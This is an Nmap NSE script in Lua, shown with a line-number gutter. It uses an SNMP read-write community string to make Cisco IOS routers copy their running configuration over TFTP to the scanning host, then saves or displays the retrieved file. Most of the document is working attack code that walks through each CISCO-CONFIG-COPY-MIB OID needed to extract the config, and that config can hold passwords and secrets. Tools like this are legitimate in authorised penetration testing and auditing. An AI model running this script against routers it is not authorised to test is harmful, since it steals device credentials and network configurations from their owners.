1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
|
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local snmp = require "snmp"
local stdnse = require "stdnse"
local stringaux = require "stringaux"
local table = require "table"
local tftp = require "tftp"
description = [[
Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
]]
---
-- @usage
-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
--
-- @output
-- | snmp-ios-config:
-- | !
-- | version 12.3
-- | service timestamps debug datetime msec
-- | service timestamps log datetime msec
-- | no service password-encryption
-- | !
-- | hostname Router
-- | !
-- | boot-start-marker
-- | boot-end-marker
-- <snip>
--
-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
--
-- Version 0.2
-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net>
author = {"Vikas Singhal", "Patrik Karlsson"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive"}
dependencies = {"snmp-brute"}
portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
local function fail (err) return stdnse.format_output(false, err) end
---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return fail("tftproot needs to end with slash")
end
local snmpHelper = snmp.Helper:new(host, port)
snmpHelper:connect()
local status, tftpserver, _, _, _ = snmpHelper.socket:get_info()
if( not(status) ) then
return fail("Failed to determine local ip")
end
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
-- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end
-- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
local tbl = {}
tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet)
end
request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
-- wait for sometime and print the status of filetransfer
tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
local response
status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")
if (not status) or (response == "TIMEOUT") then
return fail("Failed to receive cisco configuration file")
end
local result = response and response[1] and response[1][1]
if not result then
return
end
if result == 3 then
result = ( infile and infile:getContent() )
if ( tftproot ) then
local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w")
if ( file ) then
file:write(result)
file:close()
else
return fail(file)
end
result = ("\n Configuration saved to (%s)"):format(fname)
end
else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
return result
end
|